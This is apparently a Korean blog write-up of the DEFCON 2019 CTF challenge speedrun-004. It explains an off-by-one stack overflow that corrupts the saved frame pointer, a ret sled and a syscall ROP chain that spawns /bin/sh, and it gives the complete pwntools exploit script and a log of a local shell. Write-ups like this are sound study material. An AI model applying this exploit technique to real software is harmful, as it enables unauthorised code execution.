CTF/DEFCON 2019 speedrun

[DEFCON 2019] speedrun-004 풀이

jir4vvit 2021. 2. 1. 17:50

문제 풀이 환경 : ubuntu 16.04.7

001과 비슷한 느낌이다?,,,, 그리고 예전에 드림핵에서 풀었던 문제가 하나 떠오른다.. 

 

Analysis

main 찾기

함수 이름들이 다 sub_* 이렇게 되어 있어서 우리는 수고스럽게(?) main을 찾아줘야 한다.

 

start

start 함수의 첫 번째 인자가 main 함수이다.

 

main

  • sub_400B40 : "i think i'm getting better at this coding thing." 출력
  • sub_400BD2 : 밑에서 확인할 것임
  • sub_400B60 : "see ya later slowpoke." 출력

 

sub_400BD2

sub_400BD2

여기서 뭔가 취약한게 터지는 것 같다.

사진에서는 rename이 안되어 있지만, sub_40DD00 함수는 입력받은 문자를 숫자로 바꿔주는 함수인 atol 같다. 

 

(디버깅으로 확인했을 때 read함수에 111을 입력하면 eax에 0x6f가 들어가고 222를 입력하면 0xde가 들어간 것을 확인했다. 그리고 258을 입력하면 0x102가 들어가게 되는데, 이 때 두개의 if문에 조건이 충족되지 않아 "That's too much to say!"를 return하는 것을 확인하였다.)

 

어쨌든 read함수에서 1~257 사이의 값을 입력해야 두 번째 if문 안으로 들어가 sub_400B73 함수로 갈 수 있을 것이다.

그리고 sub_400B73 함수의 인자는 read함수에서 입력한 숫자가 들어간다.

 

sub_400B73

sub_400B73 함수로 가서 read 함수에서 1~257 사이의 값 중 어떤 값을 넣어야 할 지 확인해보자.

sub_400B73

1~257 사이의 숫자가 length로 들어간다. 

 

buf의 크기는 0x100, 즉 256

우리가 입력할 수 있는 length의 가장 큰 수는 257, 0x101 이다.

 

1byte를 더 입력함으로써 우리는 RBP의 마지막 1byte를 건들 수 있다. 

 

off-by-one...

 

 

main -> sub_400BD2 -> sub_400B73

아무튼 마지막 1byte를 '\x00'으로 준다면 여기서 SFP를 변조하고 그 이후 leave ret를 2번 만나면서 (에필로그를 2번 진행하면서) 현재 RSP를 우리가 작성한 payload 위치 (buf 위치)로 옮길 수 있다.  -> RIP control!

 

자세한 건 여기를 참고!

 

 

How to exploit

보호기법

  • RBP의 마지막자리 값을 '\x00'으로 바꾸어 RIP control
  • buffer의 앞부분은 ret 으로 채워 ret sled가 일어나게 하자.
  • syscall rop (static으로 컴파일해서 system함수 .. 등의 주소를 알 수 없음)

 

ret sled?

처음에 ret sled가 아닌 nop sled를 이용하려고 했었다. 그런데 죽어도 익스가 안되더라. nop sled는 nx bit가 안걸려있을 때, 쉘코드를 실행하는 상황에서 하는 기법이다. 

 

nop sled : nop nop nop nop nop 이렇게 진행됨

 

아무튼.. nop sled로 문제를 푼다는 것은 말도 안되는 생각이다.

 

ret sled는 그냥 ret를 도배하는것이다.

 

ret는 현재 스택에 있는 값을 pop하면서 진행하는 것이다.

함수 에필로그를 두 번(leave ret) 진행하면서 현재 RSP는 우리가 작성한 payload가 적힌 위치를 가리킨다. 여기에 ret 명령이 잔뜩 있으면 RSP가 계속 그 다음, 그 다음 ... RIP를 옮기겠지? 그러다가.. syscall rop를 작성한 부분까지 위치하면서 rop를 진행하게 된다!

 

이해가 안된다면 앞에서도 언급했지만 정말로 여기를 참고하면 많은 도움이 될 것이다.

 

글로 설명하려니 어렵다 ㅜㅜ

 

how to syscall rop

  1. read 함수로 bss영역에 "/bin/sh" 문자열 삽입
  2. execve 함수로 셸 실행

ROPgadget 찾는 방법은 pass하겠당. 여기 참고!

 

이 부분은 speedrun-001에서 풀었던 거랑 똑같다. 여기까지만 설명하고 생략하겠다.

 

 

 

Let's exploit!

아래는 최종 익스 코드이다.

from pwn import *

context.log_level = 'debug'
p = process("./speedrun-004")

elf = ELF("./speedrun-004")

pop_rax = 0x415f04
pop_rdi = 0x400686
pop_rsi = 0x410a93
pop_rdx = 0x44a155
syscall_addr = 0x00474f15
ret = 0x400bd1
bss_addr = elf.bss()
binsh = "/bin/sh\x00"


payload = ''
payload += p64(ret) * 14

# len -> 144
# read(0, bss, len(binsh))
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi) # fd
payload += p64(0)
payload += p64(pop_rsi) # buf
payload += p64(bss_addr)
payload += p64(pop_rdx) # len
payload += p64(len(binsh))
payload += p64(syscall_addr)
# execve(binsh, NULL, NULL)
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi) # filename
payload += p64(bss_addr)
payload += p64(pop_rsi) # NULL
payload += p64(0)
payload += p64(pop_rdx) # NULL
payload += p64(0)
payload += p64(syscall_addr)

# RBP overwriting
payload += '\x00'


p.recvuntil('say?')
p.sendline('257')

#pause()

p.recvuntil('yourself?')
p.send(payload)
p.send(binsh)

p.interactive()

 

확률적으로 익스가 된다.

┌─(~/speedrun/speedrun004)───────────────────────────────────────────(jir4vvit@jir4vvit:pts/21)─┐
└─(16:03:02 on master ✭)──> python ex.py                                          ──(월, 2월01)─┘
[+] Starting local process './speedrun-004' argv=['./speedrun-004'] : pid 16710
[DEBUG] '/home/jir4vvit/speedrun/speedrun004/speedrun-004' is statically linked, skipping GOT/PLT symbols
[*] '/home/jir4vvit/speedrun/speedrun004/speedrun-004'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[DEBUG] Received 0x4e bytes:
    "i think i'm getting better at this coding thing.\n"
    'how much do you have to say?\n'
[DEBUG] Sent 0x4 bytes:
    '257\n'
[*] Paused (press any to continue)
[DEBUG] Received 0x2a bytes:
    'Ok, what do you have to say for yourself?\n'
[DEBUG] Sent 0x101 bytes:
    00000000  d1 0b 40 00  00 00 00 00  d1 0b 40 00  00 00 00 00  │··@·│····│··@·│····│
    *
    00000070  04 5f 41 00  00 00 00 00  00 00 00 00  00 00 00 00  │·_A·│····│····│····│
    00000080  86 06 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000090  93 0a 41 00  00 00 00 00  e0 b2 6b 00  00 00 00 00  │··A·│····│··k·│····│
    000000a0  55 a1 44 00  00 00 00 00  08 00 00 00  00 00 00 00  │U·D·│····│····│····│
    000000b0  15 4f 47 00  00 00 00 00  04 5f 41 00  00 00 00 00  │·OG·│····│·_A·│····│
    000000c0  3b 00 00 00  00 00 00 00  86 06 40 00  00 00 00 00  │;···│····│··@·│····│
    000000d0  e0 b2 6b 00  00 00 00 00  93 0a 41 00  00 00 00 00  │··k·│····│··A·│····│
    000000e0  00 00 00 00  00 00 00 00  55 a1 44 00  00 00 00 00  │····│····│U·D·│····│
    000000f0  00 00 00 00  00 00 00 00  15 4f 47 00  00 00 00 00  │····│····│·OG·│····│
    00000100  00                                                  │·│
    00000101
[DEBUG] Sent 0x8 bytes:
    00000000  2f 62 69 6e  2f 73 68 00                            │/bin│/sh·│
    00000008
[*] Switching to interactive mode

[DEBUG] Received 0x3c bytes:
    00000000  49 6e 74 65  72 65 73 74  69 6e 67 20  74 68 6f 75  │Inte│rest│ing │thou│
    00000010  67 68 74 20  22 d1 0b 40  22 2c 20 49  27 6c 6c 20  │ght │"··@│", I│'ll │
    00000020  74 61 6b 65  20 69 74 20  69 6e 74 6f  20 63 6f 6e  │take│ it │into│ con│
    00000030  73 69 64 65  72 61 74 69  6f 6e 2e 0a               │side│rati│on.·│
    0000003c
Interesting thought "
                     Ѐ", I'll take it into consideration.
$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
[DEBUG] Received 0x9d bytes:
    'uid=1000(jir4vvit) gid=1000(jir4vvit) groups=1000(jir4vvit),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),998(docker),1001(rvm)\n'
uid=1000(jir4vvit) gid=1000(jir4vvit) groups=1000(jir4vvit),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),998(docker),1001(rvm)
$  [23]  + 16707 suspended (signal)  python ex.py

 

flag 획득!

 

'CTF > DEFCON 2019 speedrun' 카테고리의 다른 글

[DEFCON 2019] speedrun-003 풀이  (0) 2021.01.28
[DEFCON 2019] speedrun-002 풀이  (4) 2021.01.26
[DEFCON 2019] speedrun-001 풀이  (0) 2021.01.25